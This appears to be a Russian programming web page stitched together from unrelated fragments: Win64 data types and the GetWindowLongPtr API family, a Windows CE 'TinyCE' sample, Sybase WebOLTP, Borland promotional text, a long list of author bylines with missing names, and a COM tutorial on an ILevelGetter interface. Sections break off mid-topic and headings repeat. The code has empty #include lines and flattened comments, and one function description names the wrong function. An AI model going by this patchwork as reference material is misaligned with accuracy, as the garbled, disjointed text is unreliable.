    Каждый целочисленный тип явного представления имеет размер, соответствующий его определению. Это означает, что переменная типа int32 всегда будет занимать 32 разряда, вне зависимости от платформы, на которой запускается и исполняется код. Обратите внимание, что при следующем макросе ... #ifdef _WIN32 // Win32 код ... под 32-разрядным кодом подразумевается использование 32-разрядных типов данных. Именно для переменных этой платформы служит тип int32. То же касается и других целочисленных типов явного представления, имеющих размер 32 разряда. Второй вид (целочисленные типы, представленные указателями) имеет свою особенность: размер данных каждого такого типа зависит от платформы, на которой исполняется приложение. Именно поэтому многие из этих типов названы интегральными. Они сочетают в себе свойства 32- и 64-разрядных типов. Эти типы можно сравнить с виртуальными функциями и поздним связыванием из объектно-ориентированного программирования, так как в обоих случаях среда исполнения определяет конкретные свойства элементов только во время исполнения приложения, а не компиляции (в этом и заключается позднее связывание). Эти типы данных позволяют создавать приложения, одинаково хорошо работающие на 32- и 64-разрядной платформах. Далее следуют указатели. При работе с ними надо соблюдать осторожность: необходимо учитывать разрядность данных, которые адресуются указателем, и помнить, что 32-разрядные указатели в 64-разрядном коде всегда расширяются операционной системой до нужного размера. Следующие функции Win64 (Helper Functions) отвечают за преобразование одного типа в другой (эти inline-функции определены в Basetsd.h). Смысл многих из них понятен из определения прототипов, к остальным требуются объяснения:
  • unsigned long HandleToUlong( const void *h );
  • long HandleToLong( const void *h );
  • void *LongToHandle( const long h );
  • unsigned long PtrToUlong( const void *p );
  • unsigned int PtrToUint( const void *p );
  • unsigned short PtrToUshort( const void *p );
  • long PtrToLong( const void *p );
  • int PtrToInt( const void *p );
  • short PtrToShort( const void *p );
  • void * IntToPtr( const int i ) расширяет знаком (sign-extends) значение типа int;
  • void * UIntToPtr( const unsigned int ui) расширяет нулем (zero-extends) значение типа unsigned int;
  • void * LongToPtr( const long l ) расширяет знаком (sign-extends) значение типа long;
  • void * ULongToPtr( const unsigned long ul) расширяет нулем (zero-extends) значение типа unsigned long. Теперь рассмотрим изменения в Win64 API.


    Как уже отмечалось, лишь некоторые функции Win64 API были изменены. Для того чтобы перевести 32-разрядный код в 64-разрядный, следует использовать новые функции оконного класса (Window class). Если в private-данных окна или класса есть указатели, необходимо задействовать следующие новые функции: GetClassLongPtr, GetWindowLongPtr, SetClassLongPtr, SetWindowLongPtr. Эти функции могут работать и на 32- и на 64-разрядной платформе, но для компиляции требуют 64-разрядного компилятора. Также необходимо, чтобы указатели и дескрипторы (handles), входящие в private-данные класса, могли использовать новые 64-разрядные функции. Нужно иметь в виду, что следующие элементы в Winuser.h во время 64-разрядной компиляции не определены: GWL_WNDPROC, GWL_HINSTANCE, GWL_HWDPARENT, GWL_USERDATA. Вместо них в Winuser.h определены следующие новые элементы: GWLP_WNDPROC, GWLP_HINSTANCE, GWLP_HWNDPARENT, GWLP_USERDATA, GWLP_ID. Например, следующий код вызовет ошибку компиляции: SetWindowLong(hWnd, GWL_WNDPROC, (LONG)MyWndProc); Его нужно изменить так: SetWindowLongPtr(hWnd, GWLP_WNDPROC, (LONG_PTR)MyWndProc); Обращаю внимание читателей на следующий момент. Прежде чем делать cbWndExtra членом структуры WNDCLASS, необходимо убедиться, что для указателя имеется достаточно памяти. Например, если зарезервировано sizeof(DWORD) байт для адресуемой переменной, следует зарезервировать sizeof(DWORD_PTR) байт. Теперь вернемся к новым 64-разрядным API-функциям. Все они объявлены в Winuser.h, включены в Windows.h и используют User32.lib. 1. GetClassLongPtr. GetClassLongPtr возвращает значение из структуры WNDCLASSEX, которое связано с определенным окном. Если вы возвращаете указатель или дескриптор окна (handle), эта функция в точности повторяет GetClassLong. Но чтобы написать код, работающий под двумя платформами (32- и 64-разрядной), нужно использовать только GetClassLongPtr. Вот ее определение: ULONG_PTR GetClassLongPtr( HWND hWnd, // указатель на окно int nIndex // смещение возвращаемого значения). Было бы нецелесообразно описывать все аргументы, так как они в точности повторяют параметры 32-разрядной функции GetClassLong (и, следовательно, доступны в любой справке по Win32 API). 2.


    GetWindowLongPtr.
    Здесь та же картина, что и в предыдущем случае. Эта функция является заменой функции GetWindowLong и служит лишь для совместимости двух платформ (а значит, и для создания кросс-платформенных приложений). Функция GetWindowLongPtr возвращает дескриптор окна и значение из экстрапамяти окна по указанному смещению. Вот ее определение: LONG_PTR GetWindowLongPtr( HWND hWnd, // указатель на окно int nIndex // смещение возвращаемого значения). 3. SetClassLongPtr. Функция SetClassLong заменяет определенные значения по заданным смещениям в экстрапамяти класса или WNDCLASSEX-структуры на значения того класса, к которому принадлежит данное окно. Во многом эта функция похожа на SetClassLong, но она является межплатформенной. ULONG_PTR SetClassLongPtr( HWND hWnd, // указатель на окно int nIndex, // указатель на значение, которое надо поменять LONG_PTR dwNewLong // новое значение); 4. SetWindowLongPtr. Функция SetWindowLongPtr меняет атрибуты окон. Она также записывает определенные значения (по определенным смещениям) в экстрапамять окна. Эта функция является интегральным (в смысле объединения двух платформ) аналогом SetWindowLong. LONG_PTR SetWindowLongPtr( HWND hWnd, // указатель на окно int nIndex, // смещение, куда записывать значение LONG_PTR dwNewLong // новое значение).

    Батарея, огонь!

    Коли поняли приказ -
    Выполняйте сей же час!
    Л. Филатов. Про Федота-стрельца, удалого молодца Объект "Цепь стрелков" создается в теле метода OnCreate класса CFireView. При вызове метода OnSize вызывается одноименный метод объекта "Цепь стрелков", выполняющий начальную настройку цепи. С помощью редактора ресурсов Visual C++ введем в основное меню программы команды для открытия огня и управления скоростью движения пуль. Программный код методов, связанных с этими пунктами меню, приведен в листинге 5. Обратите внимание на то, что автоматные модели, включая и модели стрелков, сразу же после создания в методе OnCreate начинают работать. А управление скоростью движения пуль реализовано с помощью механизма управления скоростью работы сетевой автоматной среды (методы OnFast и OnSlow). Объект TNetFsa создается в основном классе программы CFireApp (подробнее см. [1], раздел "Редактирование основного класса программы").

    Базовый цикл разработки программ

    А теперь приступим к разработке настоящей Windows CE-программы. Последовательность необходимых для этого шагов здесь такая же, как и при подготовке программы для Windows настольных систем. Для начала организуем новую рабочую область в окне Visual C++. Можно прибегнуть к услугам одного из множества "мастеров", призванных помочь в составлении Windows CE-программ, либо заняться этим самостоятельно, выбрав тип приложения Win32 application и установив флажки для тех процессоров, на которые, как предполагается, будет рассчитана программа. По завершении разработки проекта следует просто набрать текст программы и подготовить ресурсы, в том числе меню, пиктограммы и шаблоны диалоговых окон, почти так же, как в ходе аналогичных процедур в среде Windows 98 или Windows NT, исключение составляют вышеупомянутые отличия в API. Как было отмечено ранее, отличия эти не слишком значительны; тем не менее некоторые особенности модели программирования для Windows CE все же заслуживают внимания. Первая, и, на поверхностный взгляд, наиболее удивительная из них, - отсутствие в Windows CE меню для окон верхнего уровня. Это не означает, что Windows CE-программы не могут иметь меню, просто управление ими организуется через панель команд. Элемент управления "панель команд" и ее более сложные "сестры" - "командные полосы" - обеспечивают доступ к меню и инструментальным панелям, кроме того, предусматривают место для размещения кнопок вызова справочной системы программ Windows CE и их закрытия. Благодаря своей конструкции эти элементы управления предельно просты в программировании. На деле незамысловатая панель команд, которая обеспечивает доступ к меню и кнопкам закрытия программы, может быть представлена всего тремя строчками в тексте программы. В элементе управления "командная полоса" получила дальнейшее развитие концепция панели команд, компоненты которой, т. е. меню, кнопки и другие элементы, группируются в отдельные полосы, размещаемые на экране пользователем.
    Основой данного элемента служит элемент управления rebar (повторно используемая панель), разработанный для Internet Explorer 3. Еще одно отличие Windows CE-программ состоит в том, что в масштабах отдельной программы пиктограммы назначаются классам, а не экземплярам окна. Следовательно, два окна одного и того же оконного класса будут иметь одну и ту же пиктограмму. Это не играет особой роли, поскольку пиктограмма окна отображается только на соответствующей кнопке панели задач. Большинство остальных отличий, не считая уже перечисленных, касается соглашений по программированию, а не ограничений для программ или различий в реализации. Например, окна верхнего уровня в Windows CE могут содержать строки заголовка, в то время как по имеющимся соглашениям это недопустимо. Подобный запрет вызван необходимостью экономии места на крохотных экранах устройств Windows CE. В версиях Windows для настольных систем строка заголовка применяется для перемещения окна по экрану. Такой функции в Windows CE-системах чаще всего нет, так как по умолчанию окна верхнего уровня в Windows CE занимают весь экран. Здесь уместно упомянуть одну из новинок Windows CE. Начиная с версии Windows CE 2.1 диспетчер окон обзавелся средствами для работы со стандартными окнами переменного размера. Операционная система всегда обеспечивала возможность формирования окон любого фиксированного размера, однако теперь диспетчер окон позволяет окаймлять перекрывающиеся окна рамками, в результате пользователь может менять их размеры. Тем не менее даже на новых профессиональных РПК такое увидишь не часто, поскольку по умолчанию окна верхнего уровня занимают всю площадь экрана, несмотря на его относительно немалые размеры. //============================================================ // TinyCE - Небольшая программа для Windows CE // #include #include // подключение линейки команд LRESULT CALLBACK MainWndProc(HWND, UINT, WPARAM,LPARAM); TCHAR szAppName[] = TEXT ("TinyCE"); HINSTANCE hInst; //----------------------------------- // Точка входа в программу // int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow) { WNDCLASS wc; HWND hWnd; MSG msg; hInst = hInstance; // Регистрируется класс App Main Window memset (&wc, 0, sizeof (wc)); wc.lpfnWndProc = MainWndProc; // Внешний вызов wc.hInstance = hInstance; // Дескриптор владельца wc.hbrBackground = (HBRUSH) GetStockObject(WHITE_BRUSH); wc.lpszClassName = szAppName; // Имя класса окна if (RegisterClass(&wc) == 0) return -1; // Построение главного окна hWnd = CreateWindow (szAppName, // Класс окна szAppName, // Заголовок окна WS_VISIBLE, // Флаги стилей CW_USEDEFAULT, // Позиция по X CW_USEDEFAULT, // Позиция по Y CW_USEDEFAULT, // Исходная ширина CW_USEDEFAULT, // Исходная высота NULL, // Предок NULL, // Меню, должен иметь // значение NULL hInstance, // Экземпляр программы NULL); // Указатель для // создания параметров // В качестве return-значения передается код ошибки, // если окно не построено if (!IsWindow (hWnd)) return -2; // Стандартные вызовы отображения и обновления ShowWindow (hWnd, nCmdShow); UpdateWindow (hWnd); // Цикл обработки сообщений в программе while (GetMessage (&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return 0; } //----------------------------------- // Основная оконная процедура // LRESULT CALLBACK MainWndProc(HWND hWnd, UINT wMsg, WPARAM wParam, LPARAM lParam) { HWND hwndCB; PAINTSTRUCT ps; RECT rect; HDC hdc; switch (wMsg) { case WM_CREATE: // Создание минимальной панели команд, содержащей только // кнопку Exit.


    hwndCB = CommandBar_Create (hInst, hWnd, 0x10); CommandBar_AddAdornments (hwndCB, 0, 0); break; case WM_PAINT: // Настройка размера прямоугольника клиентского окна // с учетом высоты панели команд. GetClientRect (hWnd, &rect); rect.top += CommandBar_Height (GetDlgItem (hWnd, 0x10)); hdc = BeginPaint (hWnd, &ps); DrawText (hdc, TEXT ("Hello Windows CE!"), -1, &rect, DT_CENTER | DT_VCENTER | DT_SINGLELINE); EndPaint (hWnd, &ps); break; case WM_DESTROY: break; } return DefWindowProc(hWnd, wMsg, wParam, lParam); } Достаточно взглянуть на этот текст, чтобы увидеть, как похожи приложения Windows CE на обычные Windows-программы. А теперь, не упуская из виду все перечисленные соображения, рассмотрим элементарную программу для Windows CE. На рис. 1 показан исходный текст простой программы TinyCE, которая лишь выводит на экран строку текста в главном окне. При беглом взгляде программисты, сроднившиеся с функциями Win32, вряд ли обнаружат едва уловимые различия между этой программой и ее "кузинам" для Windows 98 или NT. Она так же регистрирует класс окна, конструирует окно, выполняет цикл обработки сообщений и работает с окнами, как и любая другая Windows-программа. В отличиях, наблюдающихся в данном примере, повинны уже упоминавшиеся расхождения в интерфейсах API. Например, для размещения кнопки закрытия программы используется панель команд. После набора текста программы для ее компиляции и запуска применяются точно такие же методы, как и для приложений на настольных ПК. Процедура компиляции предусматривает дополнительную операцию автоматической загрузки полученного EXE- или DLL-модуля в подключенное к настольному ПК Windows CE-устройство. Для запуска программы на выполнение в среде Windows CE выбирается тот же пункт меню Program | Run (Программа | Запуск либо [Ctrl] + [F5]), что и при запуске программы, подготовленной для Windows NT. И конечно, с помощью интегрированного отладчика можно выполнять программу в пошаговом режиме. Основное различие между отладкой программ для Windows CE и Windows NT вызвано влиянием скорости последовательного соединения между ПК разработчика и удаленной Windows CE-системой.


    Из- за низкой скорости такого соединения пошаговая отладка превращается в раздражающе медленный процесс. Что касается меня, я обычно применяю отладчик только для поиска самых трудноуловимых ошибок. Вместо дистанционного отладчика можно применять другой вариант. Все SDK для платформ РПК, КПК и автомобильных ПК (Auto PC) оснащены программными эмуляторами, которые пытаются имитировать удаленное Windows CE-устройство в среде Windows NT. Такой эмулятор запускает скомпилированную специальным образом версию подготовленной программы. Он эмулирует интерфейс API Windows CE, в том числе такие его расширения, как API СУБД. Но и здесь не обходится без проблем: модель среды Windows CE, обеспечиваемая эмулятором, далека от идеала. Иногда после целого дня работы вдруг понимаешь, что проблема, над решением которой бьешся, - проблема эмулятора, а не ошибка в программе. Но выход из создавшейся ситуации все же есть: программы для Windows CE следует составлять таким образом, чтобы они компилировались как для Windows CE, так и для Windows NT. В результате общие для обеих систем фрагменты приложения можно отлаживать локально в среде Windows NT, а затем, выбрав иную целевую среду, провести компиляцию для Windows CE. Нужно только помнить, что многократные компиляции на любой из платформ чреваты сложностями. После бесконечных повторов компиляции для Windows NT придется потратить массу времени, чтобы путем внесения изменений добиться надлежащего функционирования программы в среде Windows CE. Разработать программу, которая будет компилироваться и для Windows NT, и для Windows CE, не так уж и трудно. Чтобы выделить фрагменты программы, характерные для конкретной операционной системы, следует применять выражения define компилятора, и тогда они будут выбираться при компиляции для заданной ОС. В приведенном ниже фрагменте программы функции формирования панели команд размещены в предложениях условной компиляции (#), поэтому будут охвачены процедурой компиляции только для Windows CE. #ifdef _WIN32_WCE // Если выполняется // компиляция для CE HWND hwndCB; // Формирование панели команд.


    hwndCB = CommandBar_Create (hInst, hWnd, IDC_CMDBAR); // Добавление кнопки закрытия программы // в панель команд. CommandBar_AddAdornments (hwndCB, 0, 0); #endif // _WIN32_WCE Конечно, подготовка текста программы составляет только часть процесса разработки. Жизненно необходим набор инструментов для отладки и тестирования программы. В ходе установки Visual C++ для Windows CE инсталлируется комплект инструментов для работы в дистанционном режиме, который поможет при отладке Windows CE-программ. В комплект входят большей частью инструменты, аналогичные своим собратьям, ориентированным на отладку Windows-программ для настольных ПК. Среди них имеются Windows CE-версии программы Regedit для редактирования системного реестра на Windows CE-устройствах; Spy для отслеживания сообщений, поступающих для окон Windows CE, и ZoomIn для проверки прорисовки изображений при их увеличении. Кроме того, комплект содержит модуль мониторинга, который позволяет отслеживать состояние процессов, исполняющихся на устройстве. Программа обеспечивает информацию о текущих потоках каждого процесса, а также о том, какие DLL загружены в ходе выполнения этого процесса. И последний инструмент - программа просмотра памяти, с помощью которой можно проверять содержимое динамических областей памяти программы (хипов). Все эти инструменты запускаются на настольном ПК и взаимодействуют с ПО удаленного клиента подключенного к нему Windows CE-устройства.

    Бизнес-приложения в Internet

    Большинство Internet и intranet приложений определяются как "статические" или "динамические" в зависимости от содержания и доступа к данным (смотри Рис. 1). Сегодня большинство приложений в Internet - это публикации, предлагающие статическое содержание и обеспечивающие предсказуемый, универсальный доступ. Компании, разрабатывающие свои первые Web-приложения, обычно публикуют информацию о продукте в Internet или данные о служащих в корпоративных сетях intranet.
    Последняя волна Internet-приложений - публикация баз данных. Эти системы предоставляют простой статический доступ к динамическим данным. Примерами являются контроль складских остатков через Internet или пересмотр статуса заказа через intranet. Оба этих класса приложений (наряду с простыми приложениями накопления данных) могут развиться в транзакционные бизнес-приложения. Компаниям – поставщикам информационных систем придется создавать и управлять приложениями в Сети, которые имеют динамический доступ к корпоративным БД и обрабатывают разнородную информацию.
    Имея целью Управляемую Диалоговую Обработку Запросов (Online Transaction Processing - OLTP) , а Web как способ доступа, Sybase предлагает название этого нового типа приложений – “WebOLTP”. Такие приложения становятся не простыми программами для просмотра данных, а приложениями для обработки в реальном режиме времени важной деловой информации, например, операций в банке, прием заказов, работа с клиентами.
    Бизнес-приложения в Internet
    Рисунок 1. Большинство Internet и Intranet приложений классифицируются как “статические” или “динамические” в зависимости от содержания и вида доступа

    Благодарности

    Выражаю свою благодарность людям, которые имели прямое отношение к реализации спецификации и внесения в нее своих поправок: Алексей Неупокоев, Юрий Юдин, Роман Камерлох, Тарас Улахович, Геннадий Пестунов, Иван Пономаренко. Без участия этих людей данная спецификация никогда бы не была мной получена.

    BlueJ: учебная оболочка или полноценная среда разработки?

    Программирование. Дайджесты и статьи

  • А.Г. Пискунов, С.М. Петренко

  • Игорь Савчук, Blogerator.ru

  • Пэт Хелланд, Дейв Кэмпбел
    Перевод: Сергей Кузнецов

  • Майк Шапиро
    Перевод: Сергей Кузнецов

  • А.И. Аветисян, В.В. Бабкова, А.В. Монаков
    Труды Института системного программирования РАН

  • А. Белеванцев, Д. Журихин, Д. Мельник
    Труды Института системного программирования РАН

  • В.А. Падарян, А.И. Гетьман, М.А. Соловьев
    Труды Института системного программирования РАН

  • Джеймс Лярус, Кристос Козиракис
    Пересказ: Сергей Кузнецов

  • Тед Ньюард
    Пересказ: Сергей Кузнецов

  • Andrew Binstock, перевод: Сергей Кузнецов

  • Денис Турдаков, Максим Гринев

  • Перевод: Сергей Кузнецов
    Оригинал: A Conversation with Bruce Lindsay, ACM Queue, Vol. 2, No. 8 - November 2004.

  • ,

  • Вячеслав Любченко

  • Вячеслав Любченко

  • А. Белеванцев, М. Кувырков, Д. Мельник., Труды Института системного программирования РАН

  • , Труды Института системного программирования РАН

  • С.С. Гайсарян, К.Н. Долгова, Труды Института системного программирования РАН

  • (Good Ideas, through the Looking Glass)

    Перевод:

  • ,

  • Валентина Ванеева,

  • Лекция из курса "Основы программирования на языке Пролог"
    П. А. Шрайнер, INTUIT.ru

  • Лекция из курса "Стили и методы программирования"
    Н.Н.Непейвода, INTUIT.ru

  • Илья Аввакумов, Freepascal.ru

  • Глава из книги "Наука отладки"
    Мэтт Тэллес, Юань Хсих, Пер. с англ. С. Лунин, науч.ред. С. Брудков
    Издательство:

  • Максим Фокин,

  • , http://acedutils.narod.ru

  • , http://acedutils.narod.ru


  • ведущий .NET-разработчик компании


  • ведущий .NET-разработчик компании


  • ведущий .NET-разработчик компании

  • , руководитель геоинформационного проекта "GeoMapX",


  • , руководитель геоинформационного проекта "GeoMapX",


  • Андрей Кухар,

  • Михаил Продан,


  • Арсений Чеботарёв,

  • Татьяна Михно,

  • Александр Харьков,

  • Сергей Гущенко,

  • Шеломанов Роман,

  • В.В. Рубанов, А.И. Гриневич, Д.А. Марковцев, М.А. Миткевич,
    Труды

  • С.С. Гайсарян, А.В. Чернов, А.А. Белеванцев, О.Р. Маликов, Д.М.
    Мельник, А.В. Меньшикова,
    Труды

  • А.Я. Калинов, К.А. Карганов, К.В. Хоренко, Труды

  • , книга

  • Богданов Николай Константинович,
    журнал "Автоматизация в промышленности", №9 - 2003

  • Виктор Ематин, Борис Позин (),

  • Шилоносов Александр (), Dekart Inc

  • Шумаков С.М.

  • К.А. Костюхин, НИИСИ РАН

  • Евгений Игумнов

  • Ермолаев Д.С.,

  • П. В. Федосеев

  • Евгений Игумнов

  • Ермолаев Д.С.

  • В. Ковалев,




  • Stanislav Ievlev,

  • Олег Сергудаев,

  • ,

  • ,

  • ,

  • Jim Blandy, Перевод на русский язык:

  • Николай Игнатович, журнал , #09-10/1999

  • Джеффри Воас, журнал , #09-10/1999

  • Дуглас Боулинг, PC Magazine/RE #10/1999

  • С. А. Андрианов, МИР ПК #11/99

  • Наталия Елманова, Центр Информационных Технологий

  • Наталия Елманова, Центр Информационных Технологий

  • Наталия Елманова, Центр Информационных Технологий

  • Сергей Кузнецов, Центр Информационных Технологий

  • Сергей Кузнецов, Центр Информационных Технологий

  • С. С. Гайсарян, Институт системного программирования РАН

  • Сергей Кузнецов, Центр Информационных Технологий, ComputerWord #1/97

  • ,

  • Сервер

  • А. Соловьев,

  • С. Паронджанов, учебные материалы конференции ,

  • Виктор Олифер, учебные материалы конференции ,

  • Сергей Кузнецов, учебные материалы конференции ,

  • В. Сухомлин, НИВЦ МГУ, учебные материалы конференции ,

  • Павел Храмцов, Учебные материалы конференции ,

  • Материалы конференции,

    Borland: Making Development Easier

    Borland International, Inc.- лидирующий производитель высококачественных продуктов для разоаботчиков программного обеспечения во всем мире. Компания Borland известна своим популярным семейством средств быстрой разработки настольных приложений, клиент-серверных информационных систем, приложений для Internet/intranet, систем масштаба предприятия. Продукты компании используются корпоративными и индивидуальными разработчиками, реселлерами, системными интеграторами. Основанная в 1983 г., компания Borland расположена в Scotts Valley, California. Подробную информацию о компании можно получить на корпоративном сервере Borland

    BusinessInsight - наглядное представление данных для принятия решений.

    С Delphi 3 Client/Server Suite Borland поставляет новые инструменты представления данных для анализа и представления корпоративных данных и их создания отчетов на их основе:
  • DecisionCube и DecisionGrid для многомерного анализа данных.
  • QuickReports 2.0 для упрощенного создания, просмотра и печати более 10 типов отчетов, включая "отчет в отчете", составные отчеты, отчеты master-detail, и более 130 отчетов для печати почтовых этикеток.
  • TeeChart обеспечивает визуальное представление данных в виде 11 различных типов диаграмм и графиков для удобства принятия решений.

    CASE

    Суть следующего мифа (к которому я особенно неравнодушен) заключается в том, что программирование спецификации с использованием диаграммного или визуального языка гарантирует более высокое качество и надежность кода. CASE-средства переживали бум в начале 90-х, когда на короткое время получил распространение миф о выгодах автоматической генерации кода из визуальной спецификации. Сторонники этого подхода исходили из того, что человек делает меньше ошибок, рисуя картинки. Практика, однако, подтвердила только то, что из некорректных картинок можно получить некорректный код.

    Цель

    Эта статья продемонстрирует компоненты COM, которые допускают многократное использование аналогично автомобильным шинам. Использование COM позволит разработать серию программных продуктов за более короткий срок, чем без применения этой технологии. Зная как создавать COM объекты и интерфейсы, можно разрабатывать взаимозаменяемые компоненты.

    Цели составления сценария

    Когда мне приходится писать сценарии, которые могут использоваться во многих компаниях, я стараюсь свести к минимуму число принимаемых в расчет характеристик среды исполнения. В соответствии с указанным принципом, при составлении публикуемого в данной статье сценария мониторинга для выполнения регистрации я ставил перед собой следующие задачи. Сценарий должен предоставлять надежное решение сложной проблемы, обеспечивать максимальную совместимость с различными версиями Windows, в наименьшей степени ограничивать производительность и влиять на действия пользователей, поддаваться простой модификации, обеспечивающей выполнение сценария в других средах, обеспечивать простоту реализации (например, пользователь не должен обладать правами администратора). Набор задач, определяющий сущностные характеристики сценария, позволит создавать гибкие сценарии, которые можно адаптировать для применения в других средах и решения других задач.

    Часть 1: Дублирование интерфейсов

    В вышеприведенном случае с Ричи Ричем мы видели, что DLL для аквариума и DLL для топливного бака не могли находиться на одном и том же компьютере, потому что ни клиентское приложение, ни две DLL не были COM компонентами. Какая бы DLL ни была скопирована на компьютер, только скопированная последней будет использоваться клиентским приложением. Как мы уже видели, использование некорректной DLL может привести к катастрофическим результатам: вертолет разбился. Мы предположили, что если бы разработчик программы использовал технологию COM, то он имел бы обе DLL на машине. Поскольку две DLL были бы различимы по их CLSID, они могли бы использоваться в пределах одного приложения. По технологии COM обе DLL должны задействовать идентичные методы через заменяемые интерфейсы.
    Чтобы это доказать, мы собираемся создать единственное GUI-приложение, которое использует и показывает информацию, получаемую от двух серверов COM: GasTankLevelGetter DLL и FishTankLevelGetter DLL. Мы также создадим одно приложение, которое будет получать информацию от каждой COM DLL и отображать их. Опрос каждой DLL будет происходить попеременно по четырехсекундному таймеру. Чтобы подчеркнуть неизменность интерфейсов и что COM является двоичным стандартом, мы собираемся написать GUI-приложение FishTankLevelGetter COM DLL исключительно на основе информации о GasTankLevelGetter COM DLL. Однако мы не собираемся предоставлять вам исходный код GasTankLevelGetter COM DLL. Если вы переписали пример, вы найдете GasTankLevelGetter COM DLL в папке Binaries. Мы вам даже не скажем на чем написана GasTankLevelGetter: на Delphi, Visual C++, Java(tm), Cobol, Turbo Pascal или Visual Basic. Вам, однако, придется зарегистрировать GasTankLevelGetter DLL с помощью RegSvr32.
    Как только вы зарегистрировали GasTankLevelGetter DLL с помощью RegSvr32, вы готовы начать, вооружившись OLE/COM Object Viewer. Если вы используете Visual C++ 5.0, OLE/COM Object Viewer находится в программной группе Visual C++ 5.0 при навигации через Start | Programs в Explorer.
    Если у вас нет OLE/COM Object Viewer, спишите его из http://www.microsoft.com/oledev/ и запустите приложение.

    Запустив OLE/COM Object Viewer, выберите режим View | Expert для просмотра Type Libraries. Пролистайте список и откройте папку под названием Type Libraries. Пролистайте папку пока не найдете GasTankLevelGetter 1.0 TypeLibrary (Ver 1.0). Выделите этот элемент списка и вы увидите на правой панели ID библиотеки типа и ее полный путь, как показано на рисунке.

    Часть 1: Дублирование интерфейсов

    Двойной щелчок на GasTankLevelGetter откроет окно, отображающее всю библиотеку типа. Эта информация берется их данных регистров, которые создаются при регистрации DLL. Данные по TypeLib хранятся в HKEY_CLASSES_ROOT \ TypeLib.

    Часть 1: Дублирование интерфейсов

    Раздел coclass содержит список поддерживаемых интерфейсов для компонентного объекта. Объект может иметь любое количество интерфейсов, перечисляемых в его теле и полностью описывающих тот набор интерфейсов, которые этот объект реализует, как входящих, так и исходящих. Ниже приведены CLSID и интерфейс, содержащиеся в coclass для данного COM объекта:

    CLSID: 8A544DC6-F531-11D0-A980-0020182A7050
    Interface Name: ILevelGetter

    [ uuid(8A544DC6-F531-11D0-A980-0020182A7050), helpstring("LevelGetter Class") ] coclass LevelGetter { [default] interface ILevelGetter; }; Раскрывая далее информацию по интерфейсу наподобие coclass, мы можем определить:

  • ID интерфейса 8A544DC5-F531-11D0-A9 80-0020182A7050.
  • Интерфейс наследуется от IUnknown.
  • Интерфейс поддерживает методы. Первые три метода возвращают значения типа long, а четвертый - указатель на BSTR.
  • [ odl, uuid(8A544DC5-F531-11D0-A980-0020182A7050), helpstring("ILevelGetter Interface") ] interface ILevelGetter : IUnknown { HRESULT _stdcall GetLowestPossibleSafeLevel([out, retval] long* plLowestSafeLevel); HRESULT _stdcall GetHighestPossibleSafeLevel([out, retval] long* plHighestSafeLevel); HRESULT _stdcall GetCurrentLevel([out, retval] long* plCurrentLevel); HRESULT _stdcall GetTextMessage([out, retval] BSTR* ppbstrMessage); }; Более детальный взгляд на структуру type library открывает нам методы и ID интерфейсов.


    Часть 1: Дублирование интерфейсов

    Часть 1: Дублирование интерфейсов

    Теперь, поскольку мы знаем, как построить интерфейс ILevelGetter, давайте создадим наш собственный компонент COM на основе этой информации. Если вы решили работать с существующим примером, все источники находятся в папке LevelViewer. Запустите Visual C++ 5.0 и создайте новый проект. Определите тип ATLComAppWizard как проект и "FishTankLevelGetter" как имя проекта. Мы полагаем, что вы создали новую папку проекта. Окно New Project Dialog должно выглядеть как это показано ниже.

    Часть 1: Дублирование интерфейсов

    В AppWizard для Server Type укажите Dynamic Link Library (DLL). Отметьте обе опции Allow merging of proxy/stub code и Support MFC.

    Часть 1: Дублирование интерфейсов

    Когда вы создали новый проект FishTankLevelGetter, выберите в меню Insert | New Class... для создания нового ATL класса. Вы можете выбрать любое имя класса, но убедитесь, что интерфейс называется IlevelGetter, а его тип - Custom, что указывает на наследование ILevelGetter от IUnknown. Если бы ILevelGetter в GasTankLevelGetter COM DLL наследовалась от IDispatch, нам пришлось бы выбрать тип интерфейса Dual, который указывал бы на то, что новый интерфейс будет производным от IDispatch. Если диалог New Class выглядит как показано ниже, нажмите OK, чтобы создать новый класс.

    Часть 1: Дублирование интерфейсов

    Следующий шаг заключается в редактировании FishTankLevelGetter.IDL. В IDL файле вам нужно иметь новый интерфейс ILevelGetter, наследуемый из IUnknown. Если вы работаете с примерами, вы увидите следующий код, который содержит четыре одинаковых неизменяемых метода интерфейса IlevelGetter, которые мы видели в интерфейсе ILevelGetter GasTankLevelGetter.

  • [ object, uuid(7F0DFAA2-F56D-11D0-A980-0020182A7050), helpstring("ILevelGetter Interface"), pointer_default(unique) ] interface ILevelGetter : IUnknown { HRESULT GetLowestPossibleSafeLevel([out, retval] long* plLowestSafeLevel); HRESULT GetHighestPossibleSafeLevel([out, retval] long* plHighestSafeLevel); HRESULT GetCurrentLevel([out, retval] long* plCurrentLevel); HRESULT GetTextMessage([out, retval] BSTR* ppbstrMessage); };
  • Если вы пишите код, как и мы, самостоятельно, вы захотите добавить вышеуказанный код так, что ваш интерфейс соответствовал четырем идентичным неизменным методам.


    Наиболее просто добавить код с помощью " copy and paste" непосредственно из окна ITypeLib Viewer. Ваш код должен выглядеть точно также, как в примере, за исключением ID интерфейса.

    Откройте LevelGetter.H и объявите методы в классе. В вашем классе объявление методов должно выглядеть как это показано ниже:

  • class LevelGetter : public ILevelGetter, public CComObjectRoot, public CComCoClass { public: LevelGetter(){} BEGIN_COM_MAP(LevelGetter) COM_INTERFACE_ENTRY(ILevelGetter) END_COM_MAP() //DECLARE_NOT_AGGREGATABLE(LevelGetter) // Remove the comment from the line above if you don't want your object to // support aggregation. DECLARE_REGISTRY_RESOURCEID(IDR_LevelGetter) // ILevelGetter public: //THE FOUR NEW METHODS STDMETHOD (GetLowestPossibleSafeLevel) (long* plLowestSafeLevel); STDMETHOD (GetHighestPossibleSafeLevel) (long* plHighestSafeLevel); STDMETHOD (GetCurrentLevel) (long* plCurrentLevel); STDMETHOD (GetTextMessage) (BSTR* ppbstrMessage); };
  • Вам теперь нужно сделать четыре метода. Для демонстрационных целей, давайте оставим методы простыми. Реализуйте их по вашему усмотрению или скопируете следующий код из образцов.

